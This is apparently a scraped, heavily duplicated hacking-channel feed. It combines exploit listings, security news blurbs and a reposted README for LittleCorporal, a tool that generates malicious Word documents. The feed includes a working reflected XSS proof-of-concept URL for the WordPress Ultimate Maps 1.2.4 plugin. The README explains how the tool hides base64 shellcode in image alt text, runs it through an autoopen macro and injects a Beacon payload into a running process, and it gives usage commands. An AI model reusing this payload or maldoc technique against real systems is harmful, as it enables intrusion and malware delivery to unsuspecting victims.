Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WordPress Ultimate Maps 1.2.4 Cross Site Scripting
https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
WordPress Ultimate Maps plugin version 1.2.4 suffers from a cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
WordPress Ultimate Maps 1.2.4 Cross Site Scripting
https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
WordPress Ultimate Maps plugin version 1.2.4 suffers from a cross site scripting vulnerability.
MD5 |
a15131838592d920ab537cfb27e37ab4Download
# Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/
# Version: 1.2.4
# Tested on: Windows 10
# CVE: CVE-2021-24274
1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
2. Proof of Concept:
/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
WordPress Ultimate Maps 1.2.4 Cross Site Scripting
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Apache James Server 2.3.2 Remote Command Execution
___________________________
@hacking_Attack
@Hacking_Video
Apache James Server 2.3.2 Remote Command Execution
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Apache James Server 2.3.2 Remote Command Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Privilege Escalation
___________________________
@hacking_Attack
@Hacking_Video
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Privilege Escalation
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Privilege Escalation
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Backdoor Account
___________________________
@hacking_Attack
@Hacking_Video
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Backdoor Account
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Backdoor Account
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Spectra HacktheBox Walkthrough
Today we are going to accept the boot2root challenge of Spectra –Hack the box lab. Through this lab, we are going to check our skills in WordPress Exploitation and basic privilege escalation. Table Of Content Reconnaissance Nmap Enumeration WordPress enumeration Exploitation WordPress Metasploit Privilege Escalation Abusing Sudo rights Reconnaissance Let’s
The post Spectra HacktheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Spectra HacktheBox Walkthrough
Today we are going to accept the boot2root challenge of Spectra –Hack the box lab. Through this lab, we are going to check our skills in WordPress Exploitation and basic privilege escalation. Table Of Content Reconnaissance Nmap Enumeration WordPress enumeration Exploitation WordPress Metasploit Privilege Escalation Abusing Sudo rights Reconnaissance Let’s
The post Spectra HacktheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Spectra HacktheBox Walkthrough - Hacking Articles
Today we are going to accept the boot2root challenge of Spectra –Hack the box lab. Through this lab, we are going to check our skills
The boring side of testing people should be talking about more!
https://thexssrat.medium.com/the-boring-side-of-testing-people-should-be-talking-about-more-98907b26e78a?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://thexssrat.medium.com/the-boring-side-of-testing-people-should-be-talking-about-more-98907b26e78a?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
The boring side of testing people should be talking about more!
Hacking ethically means we usually have to adhere to much more paperwork than our black hat counterparts. Not only is this to protect them from you but also to protect you from them in case anything…
Continue reading on Medium » (https://thexssrat.medium.com/the-boring-side-of-testing-people-should-be-talking-about-more-98907b26e78a?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
The boring side of testing people should be talking about more!
Hacking ethically means we usually have to adhere to much more paperwork than our black hat counterparts. Not only is this to protect them from you but also to protect you from them in case anything…
Dark Reading: Attacks/Breaches
Washington's New Cyber Focus Raises the Bar for IT Pros Across Supply Chains
Rather than fight against tighter security regulations, MSPs and IT pros should step up to lead conversations about the future of their industry.
___________________________
@hacking_Attack
@Hacking_Video
Washington's New Cyber Focus Raises the Bar for IT Pros Across Supply Chains
Rather than fight against tighter security regulations, MSPs and IT pros should step up to lead conversations about the future of their industry.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Washington's New Cyber Focus Raises the Bar for IT Pros Across Supply Chains
Rather than fight against tighter security regulations, MSPs and IT pros should step up to lead conversations about the future of their industry.
Dark Reading: Attacks/Breaches
Master Lock Introduces New Bluetooth ProSeries Padlocks
New high-security padlocks integrate with easy-to-use software solution to offer security and cloud-based simplicity.
___________________________
@hacking_Attack
@Hacking_Video
Master Lock Introduces New Bluetooth ProSeries Padlocks
New high-security padlocks integrate with easy-to-use software solution to offer security and cloud-based simplicity.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Master Lock Introduces New Bluetooth ProSeries Padlocks
New high-security padlocks integrate with easy-to-use software solution to offer security and cloud-based simplicity.
Dark Reading: Attacks/Breaches
US Extradites CardPlanet Operator Back to Russia
Russian national Aleksi Burkov was sentenced to nine years in prison for his operation of two websites facilitating payment card fraud.
___________________________
@hacking_Attack
@Hacking_Video
US Extradites CardPlanet Operator Back to Russia
Russian national Aleksi Burkov was sentenced to nine years in prison for his operation of two websites facilitating payment card fraud.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
US Extradites CardPlanet Operator Back to Russia
Russian national Aleksi Burkov was sentenced to nine years in prison for his operation of two websites facilitating payment card fraud.
My biggest dream — Ethical Hacking
When technologies started to come in our house I was a kid. These technologies include mobile, laptop and computer. The main focus was to…Continue reading on Medium »
Read more...
When technologies started to come in our house I was a kid. These technologies include mobile, laptop and computer. The main focus was to…Continue reading on Medium »
Read more...
Why You Should Never Test Exploits on Mainnet or Public Testnets
Not everyone who moves from the Web2 security world into the Web3 space is aware of the most important, fundamental rule about blockchain…Continue reading on Immunefi »
Read more...
Not everyone who moves from the Web2 security world into the Web3 space is aware of the most important, fundamental rule about blockchain…Continue reading on Immunefi »
Read more...
Exploiting Web cache deception(WCD)
next time I will talk about Combining Path confusion with Web cache deception.Continue reading on Medium »
Read more...
next time I will talk about Combining Path confusion with Web cache deception.Continue reading on Medium »
Read more...
The boring side of testing people should be talking about more!
Continue reading on Medium »
Read more...
Continue reading on Medium »
Read more...
LittleCorporal - A C# Automated Maldoc Generator
http://www.kitploit.com/2021/09/littlecorporal-c-automated-maldoc.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2021/09/littlecorporal-c-automated-maldoc.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
LittleCorporal - A C# Automated Maldoc Generator
________
/ \
__ / (o)\__
/ ______\ \ I am the strongest debater in the whole Conseil.
| ____/__ __\____| I let myself be attacked, because I know how to defend myself.
[ --~~-- ] - Napoleon Bonaparte
| ( L )|
___----\ __ /----___
/ | < \____/ > | \
/ | < \--/ > | \
|||||| \ \/ / ||||||
| \ / o |
| | \/ === | |
| | |o ||| | |
| \______| +#* | |
| |o | |
\ | / /
|\__________|o / /
| | / /
[+] Parsed Arguments:
[>] Shellcode Path: C:\beacon.bin
[>] Target Process: explorer.exe
[+] Embedded shellcode in Loader.cs!
[+] Generated C# Loader artifact!
[+] Ran the .NET assembly through Donut!
[+] Donut artifact is located at: C:\LittleCorporal\Artifacts\payload.bin
[+] Path to Word document: C:\LittleCorporal\Artifacts\Form.doc
PLEASE READ THE ENTIRE README BEFORE USAGE!
How It Works?
LittleCorporal accepts a user-supplied argument for a process to inject into on a remote machine, in which you plan to execute the malicious Word document on, and also accepts a path to a local shellcode file stored in .bin format - such as a Beacon Stageless shellcode blob on the machine you are running LittleCorporal from. So, if you would like to use the maldoc generated from this project, you will need to specify an already running process on the machine you intend to run the maldoc on (be it the local machine or a different machine. explorer.exe is always going to have one instance, so use this if you do not care about which process you inject into). LittleCorporal embeds the shellcode and the target process name into Loader.cs, compiles Loader.cs on the fly into a .NET .exe artifact, and then utilizes thread hijacking (https://connormcgarr.github.io/thread-hijacking/) to perform remote process injection. The .NET .exe artifact, which is the thread hijacking (https://www.kitploit.com/search/label/Hijacking) loader, is sent through Donut (https://github.com/TheWover/donut) to generate position independent shellcode, which will execute the .exe. The shellcode generated by Donut is then base64 encoded, a Word document is generated, and the final Donut blob is stored in an InlineShape.AlternativeText (https://docs.microsoft.com/en-us/office/vba/api/word.inlineshape.alternativetext) Word property, which is able to hold the entire payload. This is done by inserting an image (currently a blank image, giving the document a "blank" look) property into the Word document, as alternative text on the image, which contains the payload. LittleCorporal then leverages a VBA "template", contained in this project as a text file, and injects this Macro into the newly generated Word document. The Macro is named autoopen, so it opens upon the document opening, and then is configured to extract the value of the alternative text of the previously generated image, which contains the final payload, base64 decodes it, and finally uses Windows API (https://www.kitploit.com/search/label/Windows%20API) calls, in VBA, to perform local injection (https://www.kitploit.com/search/label/Injection) into Word. In esse nce, this project uses a simple "loader" in VBA to perform local injection into Word, which is a bit less scrutinized than remote process injection, and then uses execution from the simple local injection injection to execute the Donut shellcode, which is another loader that performs thread hijacking for the final remote process injection of the user-supplied shellcode into the user-specified process. This is all done in an automated fashion, including generation of the Word document.
Requirements and Limitations
___________________________
@hacking_Attack
@Hacking_Video
/ \
__ / (o)\__
/ ______\ \ I am the strongest debater in the whole Conseil.
| ____/__ __\____| I let myself be attacked, because I know how to defend myself.
[ --~~-- ] - Napoleon Bonaparte
| ( L )|
___----\ __ /----___
/ | < \____/ > | \
/ | < \--/ > | \
|||||| \ \/ / ||||||
| \ / o |
| | \/ === | |
| | |o ||| | |
| \______| +#* | |
| |o | |
\ | / /
|\__________|o / /
| | / /
[+] Parsed Arguments:
[>] Shellcode Path: C:\beacon.bin
[>] Target Process: explorer.exe
[+] Embedded shellcode in Loader.cs!
[+] Generated C# Loader artifact!
[+] Ran the .NET assembly through Donut!
[+] Donut artifact is located at: C:\LittleCorporal\Artifacts\payload.bin
[+] Path to Word document: C:\LittleCorporal\Artifacts\Form.doc
PLEASE READ THE ENTIRE README BEFORE USAGE!
How It Works?
LittleCorporal accepts a user-supplied argument for a process to inject into on a remote machine, in which you plan to execute the malicious Word document on, and also accepts a path to a local shellcode file stored in .bin format - such as a Beacon Stageless shellcode blob on the machine you are running LittleCorporal from. So, if you would like to use the maldoc generated from this project, you will need to specify an already running process on the machine you intend to run the maldoc on (be it the local machine or a different machine. explorer.exe is always going to have one instance, so use this if you do not care about which process you inject into). LittleCorporal embeds the shellcode and the target process name into Loader.cs, compiles Loader.cs on the fly into a .NET .exe artifact, and then utilizes thread hijacking (https://connormcgarr.github.io/thread-hijacking/) to perform remote process injection. The .NET .exe artifact, which is the thread hijacking (https://www.kitploit.com/search/label/Hijacking) loader, is sent through Donut (https://github.com/TheWover/donut) to generate position independent shellcode, which will execute the .exe. The shellcode generated by Donut is then base64 encoded, a Word document is generated, and the final Donut blob is stored in an InlineShape.AlternativeText (https://docs.microsoft.com/en-us/office/vba/api/word.inlineshape.alternativetext) Word property, which is able to hold the entire payload. This is done by inserting an image (currently a blank image, giving the document a "blank" look) property into the Word document, as alternative text on the image, which contains the payload. LittleCorporal then leverages a VBA "template", contained in this project as a text file, and injects this Macro into the newly generated Word document. The Macro is named autoopen, so it opens upon the document opening, and then is configured to extract the value of the alternative text of the previously generated image, which contains the final payload, base64 decodes it, and finally uses Windows API (https://www.kitploit.com/search/label/Windows%20API) calls, in VBA, to perform local injection (https://www.kitploit.com/search/label/Injection) into Word. In esse nce, this project uses a simple "loader" in VBA to perform local injection into Word, which is a bit less scrutinized than remote process injection, and then uses execution from the simple local injection injection to execute the Donut shellcode, which is another loader that performs thread hijacking for the final remote process injection of the user-supplied shellcode into the user-specified process. This is all done in an automated fashion, including generation of the Word document.
Requirements and Limitations
___________________________
@hacking_Attack
@Hacking_Video
Connor McGarr’s Blog
Malware Development: Leveraging Beacon Object Files for Remote Process Injection via Thread Hijacking
Utilizing Cobalt Strike’s in-memory C capabilities to inject a Beacon implant into a remote process without spawning a remote thread on 64-bit systems.
LittleCorporal assembles the .NET thread hijacking artifact using .NET v2. Please make sure .NET v2 is installed on the machine you are generating the Word document with (make sure C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ exists) and on the target machine you plan to run the document on. You must also have Office installed on the machine you plan on running LittleCorporal.exe on. This is because LittleCorporal needs to interact via COM with Word. Please also note that the generated Word doc pulls down a blank image from the internet - meaning you will need to have internet access on the computer you run LittleCorproal with and on the remote machiny you plan to detonate the Word doc on. Unfortunately, LittleCorporal can only be used with 64-bit versions of Word. Why is this? Only a 64-bit system can identify structures used in the thread hijacking loader capability - such as a 64-bit CONTEXT structure, which has 64-bit specific data types. This is because thread hijacking is currently only supported on 64-bit systems, as it requires custom shellcode which adheres specifically to the __fastcall calling convention. I do not plan to implement a 32-bit version of the thread hijacking capability, but if there is eventually a pull request for 32-bit support, as many installations of Microsoft Word are 32-bit, I would not totally count this out of the realm of possibility. It currently shouldn't be a big fix from a logical perspective, this issue becomes the burden and hassle of maintaining track of the stack when moving from __fastcall to __stdcall and computing new offsets. This isn't complex from a technic al perspective, but is a bit arduous. The thread hijacking code first performs a check to see if the machine executing the Word document is domain joined. If running on a non-domain joined machine, please edit this line of code (https://github.com/connormcgarr/LittleCorporal/blob/main/LittleCorporal/LittleCorporal.Loader/Loader.cs#L266) to bool FUNC1 = true; before running LittleCorporal.exe to generate a Word document
Recommendations
If you plan on using this project for active red team operations, please consider setting the "Exit" functionality of your shellcode to perform a "clean" exit with a thread exit, instead of completely killing the process in which the shellcode resides in. This can be configured with msfvenom via EXITFUNC=thread, and can also be configured in Cobalt Strike (https://www.kitploit.com/search/label/Cobalt%20Strike) as such via Aggressor.
Usage
YOU MUST FETCH THE ENTIRE PROJECT IN ORDER TO USE! LittleCorporal uses relative paths for additional resources, such as Donut. Once obtaining the entire project, change your working directory to the bin\Release directory (cd C:\Path\to\LittleCorporal\bin\Release). It is recommended that if you choose to re-compile this project that you use a Release build instead of a Debug build. Specify the path to your shellcode file on the machine you are executing LittleCorporal.exe from and the already running process on the machine which you would like to execute the Word document on. (LittleCorporal.exe C:\Path\To\Shellcode.bin explorer.exe) LittleCorporal will then output the path to the final Word document To "clean" the Artifacts directory, use the following command: LittleCorporal.exe clean
Download LittleCorporal (https://github.com/connormcgarr/LittleCorporal)
___________________________
@hacking_Attack
@Hacking_Video
Recommendations
If you plan on using this project for active red team operations, please consider setting the "Exit" functionality of your shellcode to perform a "clean" exit with a thread exit, instead of completely killing the process in which the shellcode resides in. This can be configured with msfvenom via EXITFUNC=thread, and can also be configured in Cobalt Strike (https://www.kitploit.com/search/label/Cobalt%20Strike) as such via Aggressor.
Usage
YOU MUST FETCH THE ENTIRE PROJECT IN ORDER TO USE! LittleCorporal uses relative paths for additional resources, such as Donut. Once obtaining the entire project, change your working directory to the bin\Release directory (cd C:\Path\to\LittleCorporal\bin\Release). It is recommended that if you choose to re-compile this project that you use a Release build instead of a Debug build. Specify the path to your shellcode file on the machine you are executing LittleCorporal.exe from and the already running process on the machine which you would like to execute the Word document on. (LittleCorporal.exe C:\Path\To\Shellcode.bin explorer.exe) LittleCorporal will then output the path to the final Word document To "clean" the Artifacts directory, use the following command: LittleCorporal.exe clean
Download LittleCorporal (https://github.com/connormcgarr/LittleCorporal)
___________________________
@hacking_Attack
@Hacking_Video
GitHub
LittleCorporal/Loader.cs at main · connormcgarr/LittleCorporal
LittleCorporal: A C# Automated Maldoc Generator. Contribute to connormcgarr/LittleCorporal development by creating an account on GitHub.